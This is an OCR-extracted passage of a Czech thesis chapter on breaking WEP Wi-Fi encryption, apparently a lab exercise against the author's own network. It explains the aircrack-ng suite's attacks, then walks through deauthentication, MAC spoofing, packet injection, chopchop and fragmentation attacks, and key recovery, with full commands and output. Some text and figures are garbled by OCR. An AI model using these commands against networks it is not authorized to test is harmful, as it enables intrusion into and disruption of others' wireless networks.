provozu na siti, chopchop 1tok aj.

o aircrack-ng - pro slovnikovy utok na WPA, WPA2 algoritmy a pro obnoveni
WEP klice pomoci metod PTW ¢& FMS/KoreK

o packetforge-ng - slouzi k vytvoreni zasifrovanych paketii, vhodnych pro injekci
(vyuzito v chopchop, nebo fragmenta¢nim tdtoku) [§]

4.1.1 Mozné utoky pomoci aireplay-ng

Utok &islo 0: Deautentizace

Princip tohoto ttoku spociva v tom, Ze odesleme nékolik disasocia¢nich pakett kli-

entovi, ktery je aktualné ptripojen k danému pristupovému bodu.

Duvody, pro¢ bychom chtéli tento utok provést jsou:

o Odhaleni skrytého SSID, klienta donutime k opétovnému pripojeni k AP a tim
nam odhali dané SSID
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o Zachyceni 4-way handshake pri WPA /WPA2 sifrovani

aireplay—ng -0 3 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX monO

e -0 nam znac¢i deautentizacni utok;

e 3 - pocet deautentizaci, které chceme poslat (mizeme nastavit na 0, aby se
odesilalo do té doby, nez zachytime danou 4-way handshake);

e -a - MAC adresa pristupového bodu;

e -¢ - MAC adresa pripojeného klienta;

o mon0 - rozgrani, pres které itok provadime

Utok &islo 1: FaleSna autentizace

Falesné autentizace se provadi, kdyz k danému pristupovému bodu neni aktualné
pripojen zadny klient a chceme provést ttoky pomoci nastroje aireplay-ng. Je ale
dilezité védeét, ze nam tento typ ttoku nam nevytvori zadné ARP pakety. Taktéz
ho nelze provést pri WPA /WPA2 sifrovéni.

aireplay-ng -1 3000 -e XXXX -a XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX
-0 1 -q 10 monO

e -1 - znadi faleSnou autentizaci;

e 3000 - znaci cas, po ktery budeme odesilat keep-alive pakety;
o -a - MAC adresa ptistupového bodu;

e -h - MAC adresa karty, kterou chceme falesné autentizovat;
e -0 - pocCet pakettl, které se naraz budou odesilat;

e -q - Cas (v sekundéch), po kterém se odeslou keep alive pakety

Aplikovani vsech parametru, uvedenych vyse, neni nutné, ale méli bychom tim vy-
lou¢it moznost, ze se nebudeme schopni falesné autentizovat. Pokud by ani toto
nepomohlo, musime se dostat blize k ptristupovému bodu (slaby signdl), nebo je za-
pnuta filtrace MAC adres, kterd lze lehce obejit - jak je uvedeno v

Utok ¢&islo 2: Interactive packet replay

Tento typ ttoku ndm umozni injektovat zpét do sité urcité typy paketi. Je to bud
tok paketl ptimo z wifi karty nebo ze zachyceného pcap souboru, ziskaného defrag-

mentacnim, ¢i chopchop utokem.
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aireplay-ng -2 -b XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX -c FF:FF:FF:
FF:FF:FF -t 1 -p 0841 monO

e -2 - znadi interactive packet replay tutok;

e -¢ - MAC adresa pristupového bodu;

e -h - MAC adresa utocici karty;

e -c - aby pristupovy bod prijmul dany paket a nasledné ho preposlal s novym
vektorem IV, o coz nam jde, je nutné paketu pridélit broadcastovou adresu.
AP totiz vzdy preposila (opakuje) pakety, které nesou ve svoji hlavicce adresu
FF.FF.FF.FF:FF:FF,

e -t - znadi, ze se bude pouzivat vlajka v poli ramce "To DS";

e -p 0841 - nastavi vlajku v fidicim poli ramce "To DS" na 1, coz nam zméni
paket tak, ze bude vypadat, ze jde od bezdratového klienta smérem do distri-

buc¢niho systému (lokdlni sité)

Druhou moznosti je preposlani ziskaného ARP paketu (fragmentaénim nebo chop-

chop ttokem):
aireplay-ng -2 -r XXX.cap -b XX:XX:XX:XX:XX:XX monO
e -1 - nazev zasifrovaného ARP paketu .cap, ktery jsme vygenerovali nastrojem
packetforge-ng;

e -b - je MAC adresa AP (neni nutno uvadeét)

Nasledné zacneme injektovat dany ARP paket a pfi spusténém airodump-ng uvi-

dime, jak nam stoupaji zachycené vektory IV.

Utok ¢&islo 3: ARP request replay ttok

Princip ARP replay tutoku spociva v odposlechnuti ARP paketu, jdouciho od pri-
stupového bodu k pripojenému klientovi, nelze avsak aplikovat utok ¢. 1 — falesnou
autentizaci, jelikoz se negeneruji zadné ARP pakety, tento ttok lze tedy pouzit pouze
kdyz na siti komunikuje jina stanice. Se zachycenym ARP paketem ja nasledné na-
lozeno tak, ze se preposle zpét na AP, které mu bude nuceno pridélit novy vektor

IV a nésledné ho znovu odeslat.

aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX monO

e -3 - ndm znac¢i ARP request replay tutok;
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e -b - MAC adresa pristupového bodu;
e -h - MAC adresa utocici karty;

Je mozné zkombinovat tento titok s itokem ¢.0, protoze pti novém pripojeni klienta

je do sité odeslano nékolik ARP pakett, které je pak mozné injektovat.

Utok ¢&islo 4: KoreK chopchop utok

V kapitole jsme si rozebrali princip Sifrovaciho algoritmu WEP, a tudiz zndme

slabinu v kontrolnim souc¢tu CRC-32.

Tab. 4.1: Rdmec ¢. 1
DATA ICV
DO| D1 | D2 |D3|D4 | D5| 13 |12 | 11| 10

e e o I T e B I O I
KO | K1 | K2 | K3 | K4 | K5 | K6 | K7 | K8 | K9

RO|JR1I|R2|R3| R4 | R5|R6 | R7 | R8 | R9

Tab. 4.2: Ramec ¢. 2
DATA ICV
DO D1 |D2|D3|D4] 13 |12 |11 |10

e I I I I S I S
KO | K1 | K2 | K3 | K4 | K5 | K6 | K7 | K8

RO|R1|R2 | R3| R4 | R5| R6 | R7 | R8

Chopchop 1tok je zaloZen na tom, Ze ze zachyceného rdmce (v tomto pripadé ra-
mec ¢. 1) odkrojime posledni datovy byte (tim vznikne rdmec ¢.2), tésné pred byty
ICV, jehoz hodnotu se snazime uhadnout, spolu vypoctenim hodnoty ICV. Tedy
v tomto pripadé se snazime uhadnout hodnotu D5 + 3. Jejich hodnota muze byt
od 00 do FF (od 0 do 255) a nazveme ji jako X = I3 + D5.

R5 =13+ K5= (I3+ D5)+ (D5+ K5) = X + S5
Po vypocteni této hodnoty je ramec preposlan na AP. Pokud je domnénka spravna,

je ramec pristupovym bodem broadcastovan ven. Pokud je domnénka Spatnd, je

ramec zahozen a hodnota X je znovu prepocitana. Chopchop potrebuje znat, které
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ramce jsou pristupovym bodem preposilany, takze zasifruje domnénku v poslednim
bytu ramce. Tim padem se nemusi ¢ekat na odpovéd od AP a muze se pokracovat
v posilani, do té doby, nez nam AP posle ramec s cilovou MAC adresou, korespon-
dujici s tou, co hleddme. Tim, Ze byl ramec pristupovym bodem preposlan dale
znamena, ze vypoctené ICV je spravné a tak se tento rdmec vezme a stejnym proce-
sem se pristupuje ke vSem ostatnim byttim tohoto ramce, do té doby, nez uhddneme

cely prosty text.
aireplay-ng -4 -h XX:XX:XX:XX:XX:XX -b XX:XX:XX:XX:XX:XX monO

e -4 - znaci chopchop 1tok;
e -b - MAC adresa pristupového bodu;

e -h - MAC adresa utocici karty, pokud byla pouzita falesna autentizace;

Je také mozné vyuzit dalsich parametri jako: -m a -n, pomoci kterych ur¢ime mi-
nimalni a maximéalni délku rdamce se kterym chceme pracovat nebo vyzkouset tutok
neautentizovany. U ného tedy nespecifikujeme moznost -h a tudiz bude zdrojova

MAC adresa pfi odesilani rameii generovana nahodné.
aireplay-ng -4 -b XX:XX:XX:XX:XX:XX monO

Je ale nutné podotknout, 7Ze tento neautentizovany utok nemusi fungovat na vsech
pristupovych bodech.

Pri tspésném provedené utoku a tedy uhodnuti vsech byt zachyceného ramce
nam chopchop ttok zanecha dva soubory - *.cap a *.xor (*.cap obsahuje prosty text
a *.xor, ktery obsahuje keystream, neboli hledany kli¢). Soubor *.xor pak pouzijeme
k vygenerovani arp paketu (pomoci nastroje packetforge-ng) a nasledné ho budeme

moci vyuzit k injekei. [11][12]

Utok ¢&islo 5: Fragmentaéni utok

Po provedeni tohoto ttoku je mozné ziskat 1500 bytit PRGA (vystup RC4, neboli
posloupnost jednicek a nul - obsahujicich vektor IV a sifrovaci kli¢) uvniti souboru
* xor, ktery ziskdme po tspésném provedeni ttoku. Nédsledné je tento soubor, stejné
jako u chopchop utoku, pouzit k vygenerovani ARP paketu a nésledném pouziti pro
injekci. K tomu abychom ziskali z paketu PRGA, je nutné znat jeho prosty text.
Skoro vSechny 802.11 pakety maji hlavicku LLC/SNAP, ktera je pripojena pii za-

pouzdrovani.
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SNAP SNAP CTRL ORG ORG ORG Ether Ether type
DSAP SSAP 0x03 code code code type 0x0800
0xAA 0xAA 0x00 0x00 0x00 0x08 0x0806

Obr. 4.3: SNAP hlavicka

Tato hlavicka ma délku 8 byt a obsahuje témér vzdy konstatni pole, az na Ether-
net type, ktery definuje IP nebo ARP protokol. ARP pakety obsahuji LLC/SNAP
hlavicku, ARP hlavicku a ARP data. Maji délku 8 + 8 + 20 = 36, z ¢ehoz plyne, ze
pakety vétsi délky nez 36, mohou byt povazovany za IP.

U zachyceného paketu zndme tedy 8 byta prostého textu, které nam daji po
provedeni operace XOR 8 byt PRGA. Fragmentace, uvedend ve standardu 802.11
nam rozdéluje ramce na mensi fragmenty, které obsahuji pole s ¢islem fragmentu,
udavajici pozici fragmentu v ramci. Velikost tohoto pole je 4 bity, coz nam umozni
vytvoiit 2¢ fragmentii. Je tim umoZiieno odeslat do sité jakakoli data po 4 byto-
vych kusech, spolu s 8 byty PRGA. Ramec je odeslan jako broadcast a dany AP
nasledné preposle dal, ¢imz nam odhali dalsi kus PRGA - jelikoz prosty text zname
a LLC/SNAP hlavicku taktéz.

Timto zptsobem se pokracuje do té doby, nez odhalime dostatecnou délku PRGA,
kterd ma vétsinou 1500 bytu.[13][14]

Aplikace je provadéna timto zpusobem:
aireplay-ng -5 -b XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX monO

Utok &islo 6: Cafe Latte titok

Vyuziva toho, zZe zafizeni s bezdratovym adaptérem aktivné zkousSeji, zdali neni
v dosahu sit s SSID, ke které se v minulosti pripojily (obvykle stanice se systémem
Windows) a pokud by tato sit byla objevena, tak se k ni automaticky pfipojuj.

Princip je v tom, ze utoc¢nik vytvori dvojce, tzv. ,evil twin“, k pristupovému
bodu, ke kterému se klient automaticky ptipojuje (toto dvojée bude mit stejné SSID,
takze klient nepoznd, Ze se jedné o falesné AP). Tim, ze se asociuje k falesnému AP,
odesle par ARP paketu, které budou zasifrované hledanym tajnym klicem, ¢ehoz
vyuzijeme. Malé mnozstvi ARP pakett nam stacit nebude, z toho divodu je nutné
néjak donutit klienta, aby nam je posilal opakované, do té doby, nez jich budeme
mit dostatek.

Autori Cafe Latte utoku (Ramachandran a Ahmad) nasli zpusob, jak reagovat

na klientovy ARP pozadavky (requesty) a vytvorit tak ARP odpovéd (reply). Po
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zachyceni jednoho z paketl je mozné pozménit par bitl, tak aby z ného byla ARP

odpoveéd.
DATA ICV
Modifikace utocnika ICV Patch
Modifikovana data korektni ICV

Obr. 4.4: Princip Cafe Latte utoku

Princip popisuje obréizek a rovnice [4.1] K zachycenému paketu je pfipojena
pomoci XOR operace bitova maska, kterda ma vypoctenou vlastni hodnotu ICV

(tzv. ,ICV patch“). To nam ve vysledku da modifikovand data, avSak spravnou
hodnotu ICV.

C'=Ca{A c(A)} (4.1)

Utok funguje z divodu neschopnosti klienta poznat, zdali byl paket pfi pienosu mo-
difikovan, ¢i byl nékym zachycen. To vSe se déje kviili pouziti CRC-32, ktery nam
pouze detekuje chyby pii prenosu.|[I5]

Pouziti je pak:

aireplay-ng -6 -h XX:XX:XX:XX:XX:XX -b XX:XX:XX:XX:XX:XX -D monO
e -6 - znac¢i Cafe Latte utok;

-h - MAC adresa nasi utocici karty;

-b - MAC adresa AP, kam se klient pripojuje;
-D - vypne detekci AP

Utok &islo 7: Hirte titok

Jedna se o vylepseny Cafe Latte titok, ktery dokaze pouzit nejenom ARP pakety, ale
i IP pakety. Myslenka je stejnd, opét vytvorit ARP pozadavek (request) s cilovou

IP adresou na 33.bytu (IP adresa klienta) a poslat ho k nému, aby ndm zpétné
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odpovédél. Zdrojova IP adresa je zjisténa ze zachyceného paketu - pro ARP je to
pozice 23 a pro IP pozice 21. Typ paketu se da urcit podle jeho délky - 68 nebo 86
bytd ma ARP paket, jinak se jedna o IP paket.

Tim, Ze nezndme tajny kli¢, vime pouze na které pozici (bytu) se IP adresy
vyskytuji jednoduse nemtzeme presouvat byty, jelikoz by byl pak paket neplatny.
7 toho duvodu je vyuzito fragmentace, ARP pozadavek je odeslan jako dva frag-
menty, délka prvniho je zvolena tak, aby byla prichozi - zdrojova IP adresa presunuta
na pozici 33, kdyz se fragmenty pii prichodu ke klientovi spoji. Druhy fragment je
puvodni, prijaty paket.

V pripadé IP paketu je technika obdobnd, jsou zde pouze tii fragmenty, plus ten
zachyceny. [16]

Aplikace:

aireplay-ng -7 -h XX:XX:XX:XX:XX:XX -D monO

4.1.2 PTW utok

Prichod ttoku PTW (Pyshkin, Tews, Weinmann) a nahrazeni tak starstho FMS
(Fluhrer, Mantin, Shamir) znamenalo dalsi urychleni ziskdni WEP kli¢e. V roce 2007
tito panové uvedli, ze k 50% tuspésnosti ttoku uz stac¢i pouze 35 tisic zachycenych
paketu a k 95% tspésnosti 55 tisic paketi. Zakladnim kamenem pro né byla analyza
sifry RC4 od Andrease Kleina z roku 2005.

K =IV||Rk. (4.2)

Vime, ze vektor IV je obsazen v prostém textu, zname tedy jeho hodnotu pro
dany paket. Je tedy mozné a princip je v tom, ze zachytime paket, u kterého zname
prvnich 15 byt dat. Rovnice nam dava kombinace K pro kazdy z vektora IV.
Pro kazdou hodnotu, kazdého bytu je spustén KSA algoritmus Sifry RC4, coz ndm
da vzdy 15 moznosti. Pro kazdy novy vektor IV je tato operace opakovana, coz
nam pokazdé da nové hodnoty vystupu KSA. Tato hodnota je zvolena jako A; pro
i €{0,...,14}.

Po zachyceni dostatecného mnozstvi paket a zanalyzovani téchto hodnot je zvo-
lena ta, ktera se nejvickrat opakovala a je usuzovano, ze se jedna o dany kli¢. Sprav-
nost se testuje desifrovanim jednoho z paketli. V pripadé nespravnosti je vybrana

druhd hodnota A; v poradi a pokracuje se dal.[17] [1§]
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4.2 Priprava k itokim

Pred kazdym ttokem je nutné nastavit adaptér do monitorovaciho médu, ¢ehoz

dosdhneme vyuzitim nastroje airmon-ng - nutno mit prava superuzivatele.

V nasem piipadé mame pouze jeden a to wlan0. P¥ikazem iwconfig!, si zobra-

zime vypis vSech pouzitelnych adaptéru obr 4.5

wlpB0s26ulud TIEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: MNot-Associated  Tx-Power=20 dBm

Retry short limit:7  RTS thr:off Fragment thr:off
Power Management:off

Obr. 4.5: Vypis adaptéru

Nastavenim adaptéru wlp0s26ulw4 do monitorovaciho médu se nam vytvori
virtudlni adaptér mon0 obr[4.6, kterého budeme nésledné vyuzivat. Nejprve je vSak
dobré si adaptér vypnout, prikazem ifconfig wlpOs26ulud4 down a az poté ho

nastavit do monitorovaciho médu, abychom se vyhnuli chybé s negativnim kandlem

(-1), viz obr. [4.6}

airmon-ng start wlpOs26ulu4

Interface Chipset Driver

wlp3s0 Unknown bremsmac - [phy®]

wlpB8s26ulud Realtek RTL8187L rtl8187 - [phy2]
(monitor mode enabled on mon®)

Obr. 4.6: Nastaveni do monitorovaciho médu

Nyni si vypiseme seznam dostupnych siti, abychom mohli vybrat spravné para-
metry pro nastroj airodump-ng a byt schopni zachytavat pakety z daného ptistu-

pového bodu.:
airodump-ng monO

Na obr[4.7 je mozné o vSech dostupnych sitich zjistit:

BSSID - identifikdtor ptistupového bodu (MAC adresa)

Beacons - pocet prijatych ramct typu beacon

Data - pocet zachycenych datovych paketii
o CH - kandl na kterém AP vysila

1V pifpadé nejistoty pouZijeme airmon-ng, ktery ndm vypiSe viechny adaptéry, véetné jejich

ovladacti, podle ¢eho bychom méli poznat ten spravny.
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CH 14 1[ Elapsed: 4 s ][ 2014-05-08 16:56
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Obr. 4.7: Zobrazeni dostupnych siti

o ENC - typ pouzitého sifrovani
o ESSID - identifikator sité

e MB - maximalni rychlost jakou lze komunikovat

Je dobré pockat, az se do dané sité pripoji néjaky klient, abychom si mohli podle
ného zménit MAC adresu adaptéru urceného k ttoceni a vyhli se tak pripadnému

problému s filtrem MAC adres. Vyuzijeme volné dostupného balicku macchanger.

ifconfig monO down
macchanger --mac=74:E5:0B:C0:5B:8C monO

ifconfig monO up

Posledni véci pred zapoctenim tutoki je zacit sbirat pakety vysilané danym pti-

stupovym bodem a ulozit je na disk.

7 predeslého obrazku tedy vycteme, Ze nase sit WEP64 vysila na kanalu 8
a MAC adresa pristupového bodu je 00:02:CF:7F:B5:D1. To nam stac¢i na zadani

parametri nastroje airodump-ng:
airodump-ng -c 8 -w WEP64 --bssid 00:02:CF:7F:B5:D1 --ivs monO

Jednotlivé parametry znaci:

-c¢ - zvoleni kanalu pro zachytavani paketi

e -w - nazev souboru, do kterého se bude zapisovat

--bssid - MAC adresa pristupového bodu, ze kterého budeme zachytavat pakety

—-ivs - ukladdme pouze vektory IV, z divodu velikosti souboru

V této chvili jsme pfipraveni jsme pripraveni k tutoku.
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4.3 Utoky v praxi

4.3.1 Skryté SSID

Prvni takovou nejjednodussi formou ,zabezpeceni®, co si mnoho lidi mylné mysli,
je zamezit vSesmeérové vysilani identifikatoru sité SSID.

To zptisobi pouze to, ze ho pristupovy bod vynuluje ze svych beacon rameci,
které poskytuji informace o siti, avsak jakmile se pokusi klient navazat spojeni, tak
nam ho on sam prozradi, jelikoz je SSID prenaseno nezasifrované.

Lze taky pouzit jiny zpusob, pokud uz bude klient pripojen, pomoci nastroje
aireplay-ng a poslat pozadavek na deautentizaci. Klient si bude myslet, Ze poza-

davek prichéazi od AP a znovu navaze spojeni. V té chvili nam prozradi dané SSID.

Postup je stejny jako v kapitole [4.2] AvSak obvykle bychom po zadéni piikazu
airodump-ng -c 8 -w SSID --bssid 00:02:CF:7F:B5:D1 --ivs monO

vidéli SSID sité. V nasem pripadé, kdy je skryté, vidime vSak pouze <length: 1>
obr. a zalezi na pouzitém AP, jestli uvidime pocet znaki SSID nebo ne. [9]

Pouzity AP nam skryvé i pocet znakii, tudiZ vidime pouze jednicku.?

CH 8 ][ Elapsed: 4 s ][ 2014-05-08 17:29

BSSID PWR RXQ Beacons #Data, #/s ENC CIPHER AUTH ESSID
00:02:CF:7F:B5:D1 -2B 100 46 ’ 0 T WEP WEP <length:
B55ID STATION PWR Rate Frames Probe

00:02:CF:7F:B5:D1 74:E5:0B:CO:5B:8C -19 0 -54 0 1

Obr. 4.8: Pouziti nastroje airodump-ng pti skrytém SSID

Vyuzijeme pripojeného klienta, s MAC adresou 74:E5:0B:C0:5B:8C a provedeme

prikaz
airreplay-ng -0 5 -a 00:02:CF:7F:B5:D1 -c 74:E5:0B:C0:5B:8C monO

¢imz zahdjime deautentizacni utok, obrf4.9

2Mize byt i nula
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Waiting for b
Sending 64 di
Sending 64 di

Sending 64 di
Sending 64 :
Sending 64 direc . MAC: [74:E5:0B:C0:5B:8 [58 |64 ACKs

Obr. 4.9: Deautentizace klienta

Cisla ACKs na obr znaci pocet paketu prijatych klientem/ptijatych od AP.
Cisla blizici se 64 jsou idedlni stav, kdy se pii prenosu neztratil zadny paket a klient,
AP jsou v dostatecné blizkosti. Na dalsim obr. lze vidét, ze jsme ziskali skryté
SSID.

BSSID PWR RxQ Bea : #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:02:CF:7F:B5:D1  -21 100 1012 135 0 3 54 WEP  WEP 0PN WEPG&4

Obr. 4.10: Uspéch pii deautentizaci

4.3.2 Interactive packet replay ttok

Prvni véc, co pri kazdém tutoku je potfeba udélat je nastartovat nastroj airodump-

ng, dle [4.2] Vybrat si dany pfistupovy bod a spustit zachytavani vektoru IV.

Jako dalsi je naradé provést faleSnou autentizaci a spustit itok nastrojem aireplay-

ng (s parametrem 2):

aireplay-ng -1 3000 -e WEP64 -a 00:02:CF:7F:B5:D1 -h 74:E5:0B:C0:5B:8C
-0 1 -q 10 monO

Uspé&ina falesnd autentizace bude vypadat nasledovné:

Sending Authentication Request (Open System) [ACK]
Authent ti ful

C .

ending
ending k

Obr. 4.11: Falesna autentizace

Poté nasleduje spusténi replay utoku:
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aireplay-ng -2 -b 00:02:CF:7F:B5:D1 -h 74:E5:0B:C0:5B:8C -c FF:FF:FF:
FF:FF:FF -t 1 -p 0841 monO

Nésledné program c¢eka na zachyceni paketu, ktery by odpovidal specifikacim, uve-
denym v piikazu. Po nalezeni se nds program zepta, jestli chceme pouzit dany paket
- odpovime pismenem "y" na obr}4.12]

ize: 80, FromDS: 0O, ToDS: 1 (WEP)

BS5ID
Dest. MAC
Source MAC

00:02:CF:7F:B5:D1
C:42:84:41:E8
4:E5:0B:C0O:5B:8C

0841 0002 cf7f b5d1 74e5 0bcd ShEc

000¢ 4 £ bc8d 13200 dBEf bO8e
2fob bed2 8f30 1

Obr. 4.12: Interactive packet replay itok

Daéle je spusténa injekce zachycenych paketii a generovani vektori IV. V mém
pripadé mél pripojeny klient spusténé internetové radio a k prolomeni hesla stacilo
zachytit cca 15000 IV vektort, coz trvalo presné 1 minutu a 30 vtefin, od spusténi
replay ttoku.

Nakonec uz stacilo jen spustit aircrack-ng a PTW ttok - obr[4.13 na soubor
WEPG64.ivs, se zachycenymi vektory IV.:

aircrack-ng -x WEP64.ivs

[00:00:09] Tested 55260 keys (

)

byte{vote)

30({21884) BC(2 24y TFD{198 BE(19504) D7(19352) B6(19248)
21(24640) FC(19 23( 23 D3(19100)

20(18700) 74(18620) AB(18500) 95(18472)

A41(19908) 10(19684) 70(19608) AS(19392)

62({18624) 95(18592) E2(18444) DC(18400)

1
4

KEY FOUND! [ 30:21:23:41:62 ] (ASCII: O!#Ab )
Decrypted correctly: 100%

Obr. 4.13: Spusténi PTW ttoku
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4.3.3 ARP replay utok

Tento typ utoku je mozny provadét pouze tehdy, kdyz je na siti asociovan alespon
jeden klient, nebo lze samoziejmé vyuzit falesné autentizace, ale s tim, ze pokud
z AP nepujdou zadné ARP pakety, tak itok nebude mozno provést a budeme muset
pockat, az se k nému pripoji legitimni klient.

Princip utoku je popsan podrobnéji v kapitole 4.1.1}
Poté, co si zacneme monitorovat provoz zvolené sité a ukladat zachycené IV,
prejdeme k prikazu pro injekci:
aireplay-ng -3 -b 00:02:CF:7F:B5:D1 -h 74:E5:0B:C0:5B:8C monO
Nésledné se c¢eka, do té doby, nez zachytime ARP paket a budeme jej moci

preposlat na AP. Viz obr4.14] pri tspésném ARP replay ttoku.

18: zT 40 Waiting for beacon frame (BSSID: 00:082:CF:7F:B5:D1) on channel &
g ARP requests in replay_arp-08515-182740.cap

You shcu1d also start airodump-ng to capture replies.
Read 28385 packets (got 1702 ARP requests and 1975 ACKs), sent 1976 packets...(199 pps)

Obr. 4.14: Injekce ARP paketii

Rychlost injekce lze regulovat parametrem -x a v mém pripadé stacilo asi 50

vtefin na zachyceni dostatecného mnozstvi vektorii IV, k prolomeni hesla.

Prikazem:
aircrack-ng -x TEST-01.ivs

byl spustén PTW t1tok .ivs souboru, do kterého jsme si ukladali pomoci nastroje
airodump-ng zachycené vektory IV.

Na obr[4.15|1ze vidét, ze uz pti tomuto poc¢tu byl 64bitovy WEP Kli¢ desifrovan
se 100 % presnosti.

KEY FOUND! [ 38:21:23:41:62 ] (ASCII: 0!'#Ab )

Decrypted correctly: 180%

Obr. 4.15: Usp&né proloment klice
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4.3.4 KoreK chopchop ttok

Pro uspésny chopchop utok je nutné zachytit alespon jeden 1 datovy paket, coz
znamena, ze utok pujde provést i v pripadé, ze nebude do sité pripojen zadny klient
(bezdratove), ale za predpokladu, ze AP bude néjaka data vysilat ven (z LAN ¢asti

bude néco vyslano broadcastem, napr. ARP pozadavek).

Spustime si tedy chopchop tutok prikazem:
aireplay-ng -4 -b 00:02:CF:7F:B5:D1 monO

Program se nés, po zachyceni néjakého paketu zeptd, zdali chceme pouzit prave
ten dany paket pro chopchop ttok, coz vidime na nasledujicim obrazku |4.16, Az si

vybereme nami hledany, tak odpovime pismenem y.

11:47:28 Walting for beacon frame (BSSID: 88:82:CF:7F:B5:D1) on channel 8

Size: 86, FromDS: 1, ToDS5: 8 (WEP)

B55ID BO:02:CF:7F:B5:D1
Dest. MAC FF:FF:FF:FF:FF:FF
Source MAC = BO:EB:69:4C:00:BA

Bx0066: 0842 ffff ffff
Bx0010: 60eb BEba BOCC
Ox0026: 5073 3b21 b28b
BxB030: 9aaZ? e509d 51c7
Bx0040: cB2cC Befd av77s
Bx0056: 9356 97df

Use this packet 7 y
Saving chosen packet in replay src-8518-114728.cap
85 | 8% done) | xor = = F6 | 155 frames written in 6471ms

84 ( 1% done) | xor ; F4 | 6 frames written in 245ms
83 ( 3% done) | xor = ¢ = 9D | 121 frames written in 5054ms

Obr. 4.16: Spusténi chopchop tutoku

Po uhadnuti vsech byt paketu jsme ziskali 2 soubory, obsahujici jak prosty text,
tak soubor s hledanym Sifrovacim kli¢em, viz obr [4.17]

Poté nam zbyva vygenerovat ARP paket, coz nam umozni nastroj packetforge-ng
a injektovat ho do sité. Ten abychom vytvorili, je dobré znat zdrojovou a cilovou IP
adresu. Vyuzitim programu Wireshark (sitovy analyzator), je mozné ze souboru
.cap vy¢ist tyto adresy, viz obr[4.1§
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35 (97% done) | xor 2C | pt ames written in
34 (98% done) | xor 8D | pt : ames written in

Saving plaintext in replay dec-8515-191154.cap
Saving keystream in replay dec-8515-191154.xor

Completed in 197s (0.44 bytes/s)
Obr. 4.17: Ziskdni soubort .cap a .xor pri uspésném chopchop ttoku

Source Destination Protocol

Obr. 4.18: Zobrazeni souboru .cap

Pristoupime tedy k vygenerovani ARP paketu, kde bude cilova IP adresa 192.168.
1.109, zdrojovou si zvolime podle sebe (z daného rozsahu), -y bude ziskany keystream

z predchoziho kroku a prikazem -w, si volime nazev vygenerovaného ARP paketu:

packetforge-ng -0 -a 00:02:CF:7F:B5:D1 -h 74:E5:0B:C0:5B:8C
-k 192.168.1.109 -1 192.168.1.110 -y replay_dec-0515-191154.xor
-w arp_paket.cap

A v dalsim kroku ho injektujeme do sité.:

aireplay-ng -2 -r arp_paket.cap -b 00:02:CF:7F:B5:D1
-h 74:E5:0B:C0:5B:8C -x 200 monO

Nésledné vidime v okné, kde je spustén nastroj airodump, zZe se nam zacaly ge-
nerovat vektory IV. Spustime aircrack-ng (stejnym zptsobem jako v predchozich
pripadech: aircrack-ng -x WEP64.ivs) a utok PTW na obr. ktery pri zachy-
ceni zhruba 15000 vektorti IV prolomi kli¢.

[60:01:13] Tested 70697 keys (got 15058 IVs)

depth byte(wvote)

g/ 10 6B(18432) 38(17920) 71(17920) BE(17664) 16(17664)
137 16 21(18688) F8(18688) 01(18688) GA(18432) 6F(18432)
1/ 18 23(204806) 98(19712) FD(19200) D3(18944) 4A(18944)
ay 9 41(22016) 16(21760) 4E(20480) 43(20224) 52(20224)
8/ b5 62(22272) D7(204808) 71(19968) B6(19968) DC(19968)

KEY FOUND! [ 30:21:23:41:62 ] (ASCII: 0O!#Ab )
Decrypted correctly: 188%

Obr. 4.19: Odhaleni klice
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4.3.5 Fragmentacni utok

K provedeni fragmentac¢niho ttoku vyuzijeme podobného postupu jako v pripadé
chopchop utoku. Na zvoleném kanalu zacneme zachytavat data a ¢ekame na zachy-

ceni néjakého paketu.

Utok spustime pifkazem:
aireplay-ng -5 -b 00:02:CF:7F:B5:D1 -h 74:E5:0B:C0:5B:8C monO

s parametry -b - MAC adresa AP a -h - MAC adresa karty, pfes kterou jsme se

falesné autentizovali, nebo adresa karty klienta, ktery je uz na siti pripojen.

Read 153 packets...
Size: 92, FromDS: 8, ToDS: 1 (WEP)

BS5ID tB2:CF:7F:B5:D1
Dest. MAC 00:0C:42:84:41:E8
Source MAC J4:E5:0B:CO:5B:8C

0xB000: 6841 2co0 0002
0x0010: 000c 4284 4le8
Bx8820: 883f 8az2d 8c5d
0xB030: 9550 4ede
Bx00840: 62df 8522 5
0xB050: 6244 a320

=]

b5d1 5b8c

26cC8 6618 ..B.

eld76 55 24fb  .7.-.1...wv.
abga B2al .PNNKZ....
5 1cl5 b.."W.<.(%
9 RO

wow
oo T —h

ab

@ WO
A R W@ —h
= m

282
2

Use this packet 7 y

Saving chosen packet in replay src-8518-172018.c
121: Data packet found!
121: Sending fragmented packet
121: Got RELAYED packet!!
121: Trying to get 384 bytes of a keystream
$21: Got RELAYED packet!!
121: Trying to get 1500 bytes of a keystream
121: Got RELAYED packet!!
Saving keystream in fragment-8518-172137.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Obr. 4.20: Fragmentacni ttok

Na obr. lze vidét tspésné preposilani paketu a postupné odhaleni 1500 byt
keystreamu (PRGA), véetné informaci o paketu, ktery ma velikost 92 bytt a jednd se
o komunikaci mezi klientem s MAC adresou 74:E5:0B:C0:5B:8C a RouterBoardem
s MAC adresou 00:0C:42:84:41:E8 (dle arp tabulky), ktery se nachdzi za pristupo-

vym bodem.

Vystupem je zde tedy soubor .xor s keystreamem, jehoz vyuzijeme k vygenerovani

ARP paketu. Cilovou a zdrojovou IP adresu, neboli parametry -k a -1, zvolime jako
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broadcastovou adresu.:

packetforge-ng -0 -a 00:02:CF:7F:B5:D1 -h 74:E5:0B:C0:5B:8C

-k 255.255.255.255 -1 255.255.255.255 -y fragment-0518-172137.xor
-w arp_paket.cap

Pak opét nasleduje injekce ARP paketu do sité a spusténi PTW utoku:

aireplay-ng -2 -r arp_paket.cap -b 00:02:CF:7F:B5:D1
-h 74:E5:0B:C0:5B:8C -x 200 monO

aircrack-ng -x WEP64.ivs

KEY FOUND! [ 38:21:23:41:62 ] (ASCII: 0!'#Ab )

Decrypted correctly: 180%

Obr. 4.21: Ziskani tajného klice po tspésném fragmentacnim ttoku

4.3.6 Hirte tutok

Princip tohoto ttoku je popsan v kapitole prejdu tedy rovnou k praktické
ukazce.

